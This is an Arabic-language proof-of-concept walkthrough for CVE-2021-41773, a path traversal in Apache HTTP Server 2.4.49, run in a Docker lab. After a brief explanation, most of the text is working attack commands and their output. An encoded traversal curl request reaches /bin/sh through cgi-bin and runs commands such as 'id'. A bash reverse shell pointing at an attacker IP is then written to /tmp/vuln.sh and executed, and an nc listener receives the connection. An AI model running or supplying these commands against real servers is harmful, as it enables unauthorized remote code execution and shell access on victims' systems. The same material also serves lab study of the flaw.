
إثبات مفهوم لاستغلال CVE-2021-41773، يوضح اجتياز المسار وتنفيذ الأكواد عن بُعد على خادم Apache HTTP Server 2.4.49 مع حمولة قشرة عكسية.
تم اكتشاف خلل في تغيير أُجري على تطبيع المسار في Apache HTTP Server 2.4.49. يمكن للمهاجم استخدام هجوم اجتياز المسار لربط عناوين URL بملفات خارج الدلائل التي تم تكوينها عبر توجيهات شبيهة بـ Alias.
إذا لم تكن الملفات خارج هذه الدلائل محمية بالتكوين الافتراضي المعتاد "require all denied"، فقد تنجح هذه الطلبات. وإذا كانت نصوص CGI مفعّلة أيضًا لهذه المسارات المستعارة، فقد يسمح ذلك بتنفيذ التعليمات البرمجية عن بُعد.
من المعروف أن هذه الثغرة تُستغل في الهجمات الفعلية.
تؤثر هذه الثغرة فقط على Apache 2.4.49 وليس على الإصدارات الأقدم.
يهدف هجوم اجتياز المسار (المعروف أيضًا باسم اجتياز الدليل) إلى الوصول إلى الملفات والدلائل المخزنة خارج مجلد الجذر لموقع الويب. من خلال التلاعب بالمتغيرات التي تشير إلى ملفات باستخدام تسلسلات "نقطة-نقطة-شرطة مائلة (../)" واختلافاتها، أو باستخدام مسارات ملفات مطلقة، قد يكون من الممكن الوصول إلى ملفات ودلائل عشوائية مخزنة على نظام الملفات، بما في ذلك الكود المصدري للتطبيق أو ملفات الإعدادات وملفات النظام الحساسة. تجدر الإشارة إلى أن الوصول إلى الملفات مقيد بضوابط التحكم في الوصول التشغيلية للنظام (كما في حالة الملفات المقفلة أو قيد الاستخدام على نظام التشغيل Microsoft Windows).
يُعرف هذا الهجوم أيضًا باسم "dot-dot-slash" و"directory traversal" و"directory climbing" و"backtracking".
$ docker-compose build
$ docker-compose up
التحقق من أنها تعمل
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
الضحية: localhost:1234
المهاجم: 192.168.1.12
وفقًا للتوثيق، هذه ثغرة تسمح لنا بتنفيذ التعليمات البرمجية عن بُعد (RCE).
يمكننا استغلالها عبر تنفيذ curl مع مجلد cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. تنفيذ التعليمات البرمجية عن بُعد (RCE)
لنرى ما إذا كان لدينا فعلاً إمكانية الوصول إلى الأوامر، مثل id:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. شل عكسي (Reverse Shell)
سنختبر شلًا عكسيًا عبر إنشاء ملف bash على خادم الضحية.
لنأخذ كمثال الشل العكسي بلغة bash الموجود في مستودع PayloadsAllTheThings.
فيما يلي مثال:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
لننشئ الملف vuln.sh على جهاز الضحية في مجلد /tmp/!
سيحتوي هذا الملف على الشل العكسي الذي يمكننا تشغيله عن بُعد. وسيتصل بجهازنا المحلي على المنفذ 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
يمكنك التحقق من محتويات الملف باستخدام الأمر cat:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. مستمع باستخدام ncat
لننشئ المستمع على الجهاز المحلي.
$ nc -lvnp 44
كل ما تبقى هو تنفيذ الملف عن بُعد.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
الاستجابة:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.